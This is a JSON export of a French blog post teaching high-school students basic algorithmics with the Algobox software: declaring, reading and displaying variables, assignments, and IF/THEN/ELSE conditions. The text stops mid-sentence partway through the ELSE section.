{"id":1160,"date":"2017-12-14T00:38:04","date_gmt":"2017-12-13T21:38:04","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/?p=1160"},"modified":"2017-12-14T00:50:43","modified_gmt":"2017-12-13T21:50:43","slug":"algorithmie-avec-algobox","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/algorithmie-avec-algobox\/","title":{"rendered":"ALGORITHMIE AVEC ALGOBOX"},"content":{"rendered":"<h3 class=\"titre_sommairebis\" dir=\"ltr\">Sommaire<\/h3>\n<p class=\"element_sommairebis\" dir=\"ltr\">Qu\u2019est-ce-qu\u2019un algorithme ?<br \/>\nLes diff\u00e9rents \u00e9l\u00e9ments<br \/>\nLes d\u00e9clarations<br \/>\nLire une variable<br \/>\nAfficher une variable<br \/>\nTester l\u2019algorithme<br \/>\nAfficher un message<br \/>\nLes affectations<br \/>\nLes conditions SI\u2026ALORS<br \/>\nSI\u2026ALORS\u2026SINON<br \/>\nLes boucles \u00ab\u00a0TANT QUE\u00a0\u00bb<br \/>\nLes boucles \u00ab\u00a0POUR\u2026DE\u2026A\u00a0\u00bb<br \/>\nLe mode pas \u00e0 pas<br \/>\nExercices<br \/>\nInt\u00e9r\u00eat des algorithmes<\/p>\n<p dir=\"ltr\">Introduction<br \/>\nDepuis quelques temps, la grande nouveaut\u00e9 au lyc\u00e9e c\u2019est l\u2019algorithmie. On apprend ce qu\u2019est un algorithme et comment en faire un.<br \/>\nNous allons voir que c\u2019est plut\u00f4t simple tout simplement parce que tout est logique !! C\u2019est un des int\u00e9r\u00eats de cette discipline, \u00e7a exerce la logique et \u00e7a aide donc par la suite en maths (et r\u00e9ciproquement !).<\/p>\n<p dir=\"ltr\">Qu\u2019est-ce-qu\u2019un algorithme ?<br \/>\nPour faire simple, un algorithme est une suite d\u2019op\u00e9rations que l\u2019on appelle instructions.<br \/>\nCes instructions sont souvent des op\u00e9rations math\u00e9matiques comme des \u00e9galit\u00e9s, in\u00e9galit\u00e9s\u2026<\/p>\n<p dir=\"ltr\">Un algorithme fait ce qu\u2019on lui dit et rien d\u2019autre, c\u2019est comme un robot !!<br \/>\nPar exemple, on pourrait faire faire la chose suivante \u00e0 un algorithme :<br \/>\n\u00ab\u00a0Prend le chiffre 4<br \/>\nAjoute 6<br \/>\nDivise par 2<br \/>\nMultiplie par 5<br \/>\nEnl\u00e8ve 3<br \/>\nEt affiche le r\u00e9sultat final\u00a0\u00bb<br \/>\n(normalement tu devrais trouver 22\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/>)<\/p>\n<p dir=\"ltr\">Et bien voil\u00e0, \u00e7a c\u2019est un algorithme ! Evidemment on ne l\u2019\u00e9crit pas de cette mani\u00e8re l\u00e0, il y a une syntaxe particuli\u00e8re, mais c\u2019est l\u2019id\u00e9e.<br \/>\nOn peut \u00e9videmment faire des choses bien plus compliqu\u00e9es :<br \/>\n\u00ab\u00a0Prend le chiffre que l\u2019utilisateur tape au clavier<br \/>\nDivise par 2 jusqu\u2019a ce que le r\u00e9sultat soit strictement plus petit que 1<br \/>\nAffiche le nombre de fois que tu as divis\u00e9 par 2\u00a0\u00bb<\/p>\n<p dir=\"ltr\">Les possibilit\u00e9s d\u2019algorithmes sont infinies !<\/p>\n<p dir=\"ltr\">L\u2019int\u00e9r\u00eat des algorithmes est de pouvoir \u00eatre programm\u00e9 par ordinateur : c\u2019est lui qui fera tous les calculs ! Nous on a juste \u00e0 lui dire quels calculs faire (il peut en faire des milliers presque instantan\u00e9ment^^)<br \/>\nPour cela il faut un logiciel sp\u00e9cial, nous utiliserons ALGOBOX, que tu dois utiliser au lyc\u00e9e et que nous te conseillons fortement de t\u00e9l\u00e9charger pour t\u2019entra\u00eener\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><br \/>\nVoici\u00a0le lien pour t\u00e9l\u00e9charger Algobox<\/p>\n<p dir=\"ltr\">Le logiciel se pr\u00e9sente ainsi :<\/p>\n<p dir=\"ltr\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/algobox.jpg?w=474\" alt=\"\" width=\"474\" height=\"380\" \/><\/p>\n<p dir=\"ltr\">Nous verrons au fur et \u00e0 mesure comment marche ce logiciel.<br \/>\nIl existe bien d\u2019autres logiciels pour faire des algorithmes mais celui-ci est simple d\u2019utilisation, c\u2019est donc lui que nous utiliserons par la suite.<\/p>\n<p dir=\"ltr\">Les diff\u00e9rents \u00e9l\u00e9ments<\/p>\n<p class=\"droite\" dir=\"ltr\">Un algorithme va se faire en plusieurs \u00e9tapes. Mais avant de les voir, il faut d\u2019abord savoir qu\u2019est-ce-qu\u2019on va utiliser.<\/p>\n<p dir=\"ltr\">En g\u00e9n\u00e9ral, un algortihme a des variables d\u2019entr\u00e9e et des variables de sortie. Ces variables sont souvent des nombres.<br \/>\nDans le 1er exemple, la variable d\u2019entr\u00e9e \u00e9tait le 4 (ce qu\u2019on avait au d\u00e9but), et la variable de sortie \u00e9tait le r\u00e9sulat final (qui dans ce cas valait 22).<\/p>\n<p dir=\"ltr\">Dans le 2\u00e8me exemple, la variable d\u2019entr\u00e9e \u00e9tait le nombre tap\u00e9 sur le clavier (donc \u00e7a peut \u00eatre n\u2019importe quel nombre), et la variable de sortie \u00e9tait le nombre de fois que l\u2019on divisait par 2 (qui peut \u00eatre n\u2019importe quel entier).<\/p>\n<p dir=\"ltr\">On donne toujours un nom \u00e0 ces variables, le plus souvent des lettres minuscules, par exemple a = 4 pour le premier exemple.<br \/>\nIl faut donc au d\u00e9part \u00ab\u00a0d\u00e9clarer\u00a0\u00bb chaque variable, en disant le type de variable que c\u2019est (pour nous ce sera toujours un nombre, mais on peut avoir des variables de type mot, lettre, etc\u2026).<\/p>\n<p dir=\"ltr\">Dans l\u2019algortihme, il y aura donc 2 \u00e9tapes principales :<br \/>\n\u2013 d\u00e9clarer les variables<br \/>\n\u2013 faire des op\u00e9rations sur les variables (l\u2019algorithme en lui-m\u00eame)<\/p>\n<p dir=\"ltr\">Sur Algobox on voit bien les 2 parties :<\/p>\n<p dir=\"ltr\"><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/etapes.jpg?w=474\" alt=\"\" width=\"474\" height=\"223\" \/><\/p>\n<p dir=\"ltr\">Il ne faut pas oublier 2 \u00ab\u00a0sous-\u00e9tapes\u00a0\u00bb importantes : l\u2019initialisation des variables, et la phase de sortie.<br \/>\nInitialiser les variables, \u00e7a veut dire leur donner une valeur.<br \/>\nDans le premier exemple, tu vas d\u00e9clarer ta variable \u00ab\u00a0a\u00a0\u00bb en disant que c\u2019est un nombre. Mais il ne faut pas oublier de lui donner sa valeur initiale : 4.<br \/>\nIl faut faire cela avec toutes les variables pour ne pas avoir de surprise, car parfois les variables s\u2019initialisent \u00e0 n\u2019importe quelle valeur, souvent 0 ou 1.<\/p>\n<p dir=\"ltr\">Ensuite la phase de sortie : si on fait un algorithme, c\u2019est pour avoir un r\u00e9sultat !!<br \/>\nDans les 2 exemples on veut afficher un nombre \u00e0 la fin, il ne faut donc pas oublier d\u2019afficher ce nombre\u2026 ici c\u2019est \u00e9vident mais parfois c\u2019est plus d\u00e9licat.<\/p>\n<p dir=\"ltr\">Passons au vif du sujet en parlant des diff\u00e9rentes op\u00e9rations que l\u2019on va pouvoir faire\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/smile.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Les d\u00e9clarations<\/p>\n<p class=\"droite\" dir=\"ltr\">On l\u2019a vu, la toute premi\u00e8re \u00e9tape est de d\u00e9clarer les variables. Si on veut d\u00e9clarer la variable \u00ab\u00a0a\u00a0\u00bb comme \u00e9tant un nombre, on dit juste :<\/p>\n<p dir=\"ltr\">a EST_DU_TYPE NOMBRE<br \/>\nOn met en majuscule et avec des tirets car sous Algobox c\u2019est comme \u00e7a, mais quand tu fais sur ta copie tu peux \u00e9crire \u00ab\u00a0a est du type nombre\u00a0\u00bb sans majuscule\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Comme tu le vois ce n\u2019est pas bien compliqu\u00e9\u2026<br \/>\nEvidemment il faut faire cela avec chaque variable^^<\/p>\n<p dir=\"ltr\">Avec Algobox, il suffit de cliquer sur \u00ab\u00a0D\u00e9clarer une nouvelle variable\u00a0\u00bb, de donner le nom de la variable et de cliquer sur \u00ab\u00a0Ok\u00a0\u00bb.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/declaration.jpg?w=474\" alt=\"\" width=\"474\" height=\"305\" \/><\/p>\n<p dir=\"ltr\"><strong>Lire une variable<\/strong><\/p>\n<p dir=\"ltr\">Une fois que l\u2019on a d\u00e9clar\u00e9 une variable, il faut lui donner une valeur.<br \/>\nOn verra juste apr\u00e8s comment lui donner une valeur fixe. Mais il peut arriver que l\u2019on veuille nous-m\u00eame donner la valeur d\u2019une variable \u00e0 chaque fois !<\/p>\n<p dir=\"ltr\">Pour cela, on dit :<br \/>\nLIRE a<\/p>\n<p dir=\"ltr\">Ainsi l\u2019algorithme va nous demander quelle valeur on veut donner \u00e0 la variable \u00e0 chaque fois que l\u2019on lancera l\u2019algorithme.<\/p>\n<p dir=\"ltr\">Dans Algobox c\u2019est assez simple : on clique sur \u00ab\u00a0D\u00e9but Algorithme\u00a0\u00bb, puis \u00ab\u00a0nouvelle ligne\u00a0\u00bb et enfin \u00ab\u00a0Ajouter Lire variable\u00a0\u00bb.<br \/>\nIl n\u2019y a plus qu\u2019\u00e0 s\u00e9lectionner la variable avec le menu d\u00e9roulant.<\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014<br \/>\nBien penser \u00e0 d\u00e9clarer une variable avant de la lire !!<br \/>\nDe toute fa\u00e7on si tu ne la d\u00e9clares pas tu ne pourras pas la lire\u2026<br \/>\n\u2014<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/lecture.jpg?w=474\" alt=\"\" width=\"473\" height=\"303\" \/><\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014<br \/>\nNote bien que dans Algobox, il faut cliquer sur \u00ab\u00a0Nouvelle ligne\u00a0\u00bb \u00e0 droite de l\u2019\u00e9cran pour pouvoir faire une nouvelle op\u00e9ration.<br \/>\n\u2014<\/p>\n<p dir=\"ltr\">Afficher une variable<\/p>\n<p class=\"droite\" dir=\"ltr\">G\u00e9n\u00e9ralement un algorithme sert \u00e0 calculer quelque chose, il faut donc afficher ce r\u00e9sultat.<\/p>\n<p dir=\"ltr\">Pour conna\u00eetre la valeur de la variable a, on \u00e9crit tout simplement : AFFICHER a.<\/p>\n<p dir=\"ltr\">Pour Algobox on fait un peu comme pour LIRE, on clique sur \u00ab\u00a0nouvelle ligne\u00a0\u00bb, \u00ab\u00a0ajouter Afficher variable\u00a0\u00bb puis on s\u00e9lectionne le nom de la variable.<\/p>\n<p class=\"attention\" dir=\"ltr\" style=\"text-align: center;\">\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nUne remarque importante : quand on fait \u00ab\u00a0nouvelle ligne\u00a0\u00bb, le logiciel ins\u00e8re la nouvelle ligne apr\u00e8s l\u00e0 o\u00f9 on a cliqu\u00e9 sur l\u2019algorithme.<br \/>\nPense donc bien \u00e0 l\u2019endroit o\u00f9 tu veux ins\u00e9rer ta ligne avant de faire \u00ab\u00a0nouvelle ligne\u00a0\u00bb<br \/>\n\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nAutre remarque TRES importante : si on affiche plusieurs variables, le logiciel les affichera toutes les unes \u00e0 la suite des autres sans mettre d\u2019espace ni sauter de ligne !!!<br \/>\nCa risque d\u2019\u00eatre rapidement illisible\u2026<br \/>\nIl faut bien penser \u00e0 cliquer sur \u00ab\u00a0Ajouter un retour \u00e0 la ligne\u00a0\u00bb \u00e0 chaque fois que l\u2019on affiche une variable !!!<br \/>\n\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/afficher.jpg?w=474\" alt=\"\" width=\"474\" height=\"322\" \/><\/p>\n<p dir=\"ltr\">On a ainsi un algorithme tr\u00e8s simple :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/algosimple.jpg?w=474\" alt=\"\" width=\"249\" height=\"166\" \/><\/p>\n<p dir=\"ltr\">On d\u00e9clare la variable a, puis on tape sur le clavier la valeur que l\u2019on veut donner \u00e0 cette variable, et on affiche la valeur.<br \/>\nCet algorithme n\u2019a pas beaucoup d\u2019int\u00e9r\u00eat mais permet de te familiariser avec le logiciel\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Tester l\u2019algorithme<\/p>\n<p class=\"droite\" dir=\"ltr\">Maintenant que nous avons notre 1er algorithme (un peu simple mais c\u2019est pour le principe), nous allons le tester !<\/p>\n<p dir=\"ltr\">Pour cela rien de plus simple, il suffit de cliquer sur \u00ab\u00a0Tester l\u2019algorithme\u00a0\u00bb !<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/tester.jpg?w=474\" alt=\"\" width=\"474\" height=\"160\" \/><\/p>\n<p dir=\"ltr\">Une nouvelle fen\u00eatre s\u2019ouvre alors : il faut maintenant cliquer sur \u00ab\u00a0Lancer l\u2019algorithme\u00a0\u00bb pour le d\u00e9marrer.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/simulation.jpg?w=474\" alt=\"\" width=\"474\" height=\"298\" \/><\/p>\n<p dir=\"ltr\">Une fois l\u2019algorithme lanc\u00e9, une fen\u00eatre de dialogue s\u2019ouvre en demandant \u00ab\u00a0entrer a\u00a0\u00bb<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/dialogue.jpg?w=474\" alt=\"\" width=\"473\" height=\"242\" \/><\/p>\n<p dir=\"ltr\">Ceci est normal puisque dans l\u2019algorithme on a \u00e9crit \u00ab\u00a0LIRE a\u00a0\u00bb, donc c\u2019est \u00e0 nous de rentrer la valeur de a.<br \/>\nOn peut mettre alors ce que l\u2019on veut.<\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014<br \/>\nATTENTION !! Pour les chiffres \u00e0 virgule, on met un point et non pas une virgule !!!<br \/>\nSi on veut que a vaille 2,5 il faut donc \u00e9crire 2.5<br \/>\n\u2014<\/p>\n<p dir=\"ltr\">Une fois que l\u2019on a appuy\u00e9 sur Ok, l\u2019algorithme passe \u00e0 l\u2019\u00e9tape suivante qui est AFFICHER a.<br \/>\nLe logiciel affiche donc la valeur de a (ici on a pris 467.2563), et dit que l\u2019algorithme est termin\u00e9 puisqu\u2019il n\u2019y a plus d\u2019autre op\u00e9ration apr\u00e8s.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/finalgo.jpg?w=474\" alt=\"\" width=\"474\" height=\"227\" \/><\/p>\n<p dir=\"ltr\">Tu peux relancer plusieurs fois l\u2019algorithme en mettant des valeurs de a diff\u00e9rentes pour bien comprendre comment \u00e7a marche^^.<\/p>\n<p dir=\"ltr\">Afficher un message<\/p>\n<p class=\"droite\" dir=\"ltr\">En plus d\u2019afficher une variable, on peut aussi afficher des messages.<br \/>\nCela peut \u00eatre utile notamment pour plus de clart\u00e9 dans le r\u00e9sultat. En effet, dans l\u2019exemple pr\u00e9c\u00e9dent, le logiciel affiche le r\u00e9sultat (467,2563) mais on ne sait pas \u00e0 quoi correspond ce r\u00e9sultat.<\/p>\n<p dir=\"ltr\">Ici on sait tr\u00e8s bien que ce nombre correspond \u00e0 la variable a, mais quand on fera des algorithmes plus compliqu\u00e9s qui afficheront plein de variables, ce sera plus pratique^^<\/p>\n<p dir=\"ltr\">Pour afficher un message, il suffit de cliquer sur \u00ab\u00a0nouvelle ligne\u00a0\u00bb puis \u00ab\u00a0Ajouter afficher message\u00a0\u00bb, et il n\u2019y a plus qu\u2019\u00e0 \u00e9crire le message souhait\u00e9.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/messagebis.jpg?w=474\" alt=\"\" width=\"474\" height=\"281\" \/><\/p>\n<p dir=\"ltr\">Ici on a mis comme message \u00ab\u00a0a = \u00a0\u00bb avant d\u2019afficher la variable a.<br \/>\nMais attention ! Ici il ne faut pas faire de retour \u00e0 la ligne sinon la variable s\u2019affichera en dessous de \u00ab\u00a0a =\u00a0\u00bb, ce qui n\u2019est pas ce que l\u2019on veut\u2026<\/p>\n<p dir=\"ltr\">On a donc l\u2019algorithme suivant :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/message.jpg?w=474\" alt=\"\" width=\"213\" height=\"138\" \/><\/p>\n<p dir=\"ltr\">Et si on le teste voici ce que l\u2019on obtient :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/messageter.jpg?w=474\" alt=\"\" width=\"234\" height=\"198\" \/><\/p>\n<p dir=\"ltr\">C\u2019est quand m\u00eame un peu mieux que tout \u00e0 l\u2019heure\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/smile.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Dans la suite on ne se cassera pas la t\u00eate \u00e0 afficher cela \u00e0 chaque fois car nous prendrons des exemples simples.<\/p>\n<p dir=\"ltr\">Les affectations<\/p>\n<p class=\"droite\" dir=\"ltr\">Les affections sont s\u00fbrement les op\u00e9rations que l\u2019on fait le plus souvent.<br \/>\nUne affectation, c\u2019est changer la valeur d\u2019une variable.<br \/>\nPour cela on dit PREND_LA_VALEUR.<\/p>\n<p dir=\"ltr\">Supposons que l\u2019on veuille donner \u00e0 la variable \u00ab\u00a0a\u00a0\u00bb la valeur 4. Et bien on \u00e9crit :<\/p>\n<p dir=\"ltr\">a PREND_LA_VALEUR 4<\/p>\n<p dir=\"ltr\">D\u00e9sormais a vaut 4.<\/p>\n<p dir=\"ltr\">Avec Algobox, il faut cliquer sur \u00ab\u00a0nouvelle ligne\u00a0\u00bb, puis \u00ab\u00a0affecteur valeur \u00e0 variable\u00a0\u00bb.<br \/>\nOn s\u00e9lectionne alors la variable et on met la valeur que l\u2019on veut :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/affectation.jpg?w=474\" alt=\"\" width=\"474\" height=\"339\" \/><\/p>\n<p dir=\"ltr\">Jusque-l\u00e0 ce n\u2019est pas trop dur.<br \/>\nPar contre, si on veut ajouter 6 \u00e0 la variable a comme demand\u00e9 dans le premier exemple, il faut \u00e9crire :<br \/>\na PREND_LA_VALEUR a + 6<\/p>\n<p dir=\"ltr\">Qu\u2019est-ce-que \u00e7a veut dire ?<br \/>\na PREND_LA_VALEUR a + 6 signifie que la variable a va d\u00e9sormais valoir a (qui vaut 4 pour l\u2019instant) + 6, donc 10.<\/p>\n<p dir=\"ltr\">Dans Algobox, \u00e0 la place de 4 sur l\u2019image pr\u00e9c\u00e9dente, on \u00e9crit a + 6.<\/p>\n<p dir=\"ltr\">Donc a vaut maintenant 10.<br \/>\nReprenons l\u2019exemple de tout \u00e0 l\u2019heure : on doit apr\u00e8s diviser a par 2.<br \/>\nOn \u00e9crit alors :<br \/>\na PREND_LA_VALEUR a\/2.<\/p>\n<p dir=\"ltr\">a vaut maintenant 10\/2 = 5.<\/p>\n<p dir=\"ltr\">Puis on multiplie par 5 :<br \/>\na PREND_LA_VALEUR a * 5<br \/>\na vaut maintenant 5 \u00d7 5 = 25.<\/p>\n<p dir=\"ltr\">Enfin on enl\u00e8ve 3 :<br \/>\na PREND_LA_VALEUR a \u2013 3<br \/>\nDonc a vaut 25 \u2013 3 = 22.<\/p>\n<p dir=\"ltr\">Il ne reste plus qu\u2019\u00e0 afficher le r\u00e9sultat : AFFICHER a<\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014<br \/>\nPetite remarque : pour faire une multiplication on \u00e9crit * (une \u00e9toile) et pour la division c\u2019est \/ (un slash)<br \/>\n\u2014<\/p>\n<p dir=\"ltr\">L\u2019algorithme complet est le suivant :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/algo1.jpg?w=474\" alt=\"\" width=\"223\" height=\"193\" \/><\/p>\n<p dir=\"ltr\">Si tu lances l\u2019algorithme tu devrais trouver\u202622 !!\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/heureux.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Comme tu le vois, une affectation c\u2019est changer la valeur d\u2019une variable.<br \/>\nSi on avait une variable b, on pourrait \u00e9crire<br \/>\nb PREND_LA_VALEUR a + 5 par exemple.<\/p>\n<p dir=\"ltr\">Si \u00e0 ce moment-l\u00e0 a vaut 10, alors b vaudra 15.<\/p>\n<p dir=\"ltr\">Mais le premier exemple est plus int\u00e9ressant car on change la variable a \u00e0 partir de lui-m\u00eame (en \u00e9crivant a PREND_LA_VALEUR a + 6 par exemple).<br \/>\nIl y a 2 \u00ab\u00a0a\u00a0\u00bb dans l\u2019instruction, mais celui de gauche est la nouvelle valeur de a, et celui de droite l\u2019ancienne valeur de a.<\/p>\n<p dir=\"ltr\">Les conditions SI\u2026ALORS<\/p>\n<p class=\"droite\" dir=\"ltr\">On peut faire certaines op\u00e9rations que si certaines conditions sont v\u00e9rifi\u00e9es.<br \/>\nPrenons comme exemple 3 un autre algorithme :<\/p>\n<p dir=\"ltr\">\u00ab\u00a0Prend un nombre donn\u00e9 par l\u2019utilisateur<br \/>\nSi ce nombre est strcitement sup\u00e9rieur \u00e0 10, enl\u00e8ve lui 3<br \/>\nAffiche le nombre final\u00a0\u00bb<\/p>\n<p dir=\"ltr\">Comme on le voit, on enl\u00e8vera 3 au nombre que s\u2019il est sup\u00e9rieur \u00e0 10.<br \/>\nOn fait alors ce qu\u2019on appelle un SI\u2026ALORS.<\/p>\n<p dir=\"ltr\">Avec Algobox : on fait \u00ab\u00a0nouvelle ligne\u00a0\u00bb, puis on clique sur \u00ab\u00a0Ajouter SI\u2026ALORS\u00a0\u00bb.<br \/>\nUne fen\u00eatre s\u2019ouvre, il suffit de mettre la condition, ici c\u2019est a &gt; 10<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/sialors.jpg?w=474\" alt=\"\" width=\"473\" height=\"347\" \/><\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014<br \/>\nATTENTION !! On voit qu\u2019il y a une aide pour la syntaxe.<br \/>\nOn remarque que pour tester une \u00e9galit\u00e9, on \u00e9crit == et non un seul =<br \/>\nSi la condition avait \u00e9t\u00e9 a = 4, on aurait \u00e9crit a==4<br \/>\nDe plus, si la condition avait \u00e9t\u00e9 a diff\u00e9rent de 8, on aurait \u00e9crit a != 8<br \/>\nPour sup\u00e9rieur ou \u00e9gal et inf\u00e9rieur ou \u00e9gal, on \u00e9crit &gt;= et &lt;= Comme tu le vois il y a une syntaxe particuli\u00e8re \u00e0 respecter et qui peut \u00eatre source d&rsquo;erreurs&#8230; &#8212;<\/p>\n<p dir=\"ltr\">Une fois cliqu\u00e9 sur Ok, Algobox met automatiquement un DEBUT_SI et FIN_SI :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/sialorsbis.jpg?w=474\" alt=\"\" width=\"217\" height=\"163\" \/><\/p>\n<p dir=\"ltr\">Entre ce DEBUT_SI et FIN_SI, on va mettre toutes les op\u00e9rations qu\u2019il faut faire si la condition est v\u00e9rifi\u00e9e.<br \/>\nAinsi il est possible de faire plusieurs op\u00e9rations dans le cas o\u00f9 la condition est v\u00e9rifi\u00e9e.<\/p>\n<p dir=\"ltr\">Pour rajouter des op\u00e9rations on fait comme d\u2019habitude on fait \u00ab\u00a0nouvelle ligne\u00a0\u00bb puis on met toutes les op\u00e9rations que l\u2019on veut.<br \/>\nEvidemment si la condition n\u2019est pas v\u00e9rifi\u00e9e les op\u00e9rations ne seront pas faites.<\/p>\n<p dir=\"ltr\">Prenons un petit exemple avec plusieurs op\u00e9rations :<br \/>\n\u00ab\u00a0Prend un nombre donn\u00e9 par l\u2019utilisateur que l\u2019on appelle a<br \/>\nSi ce nombre est sup\u00e9rieur OU EGAL \u00e0 10, enl\u00e8ve lui 3, puis multiplie le par 2 et ajoute lui 4<br \/>\nAffiche le nombre final\u00a0\u00bb<\/p>\n<p dir=\"ltr\">Normalement tu devrais avoir \u00e7a :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/sialorsexemple.jpg?w=474\" alt=\"\" width=\"243\" height=\"212\" \/><\/p>\n<p class=\"attention\" dir=\"ltr\">\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nCela est renforc\u00e9 par ce qu\u2019on appelle \u00ab\u00a0l\u2019indentation\u00a0\u00bb<br \/>\nIndenter, \u00e7a veut dire en gros \u00ab\u00a0d\u00e9caler vers la droite\u00a0\u00bb. Ici Algobox a d\u00e9cal\u00e9 vers la droite les op\u00e9rations effectu\u00e9es si la condition est v\u00e9rifi\u00e9e : il le fait automatiquement.<br \/>\nPrend l\u2019habitude d\u2019indenter tes programmes de cette mani\u00e8re quand tu les \u00e9cris, ce sera beaucoup plus lisible pour toi et pour les autres personnes qui vont lire ton algortihme sans le conna\u00eetre.<br \/>\n\u2014&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p dir=\"ltr\"><strong>SI\u2026ALORS\u2026SINON<\/strong><\/p>\n<p class=\"droite\" dir=\"ltr\">Bon c\u2019est bien joli cette condition, si a &gt; 10 on fait toutes les op\u00e9rations.<br \/>\nMais si a n\u2019est pas strictement sup\u00e9rieur \u00e0 10, qu\u2019est-ce-qu\u2019on fait ??\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/blink.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><br \/>\nC\u2019est l\u00e0 qu\u2019inteviennent les boucles SI\u2026ALORS\u2026SINON<\/p>\n<p dir=\"ltr\">Pour cela rien de plus simple : apr\u00e8s avoir cliqu\u00e9 sur Ajouter SI\u2026ALORS, il faut cocher la case Ajouter SINON :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/sialorssinon.jpg?w=474\" alt=\"\" width=\"474\" height=\"297\" \/><\/p>\n<p dir=\"ltr\">Bien s\u00fbr il ne faut pas 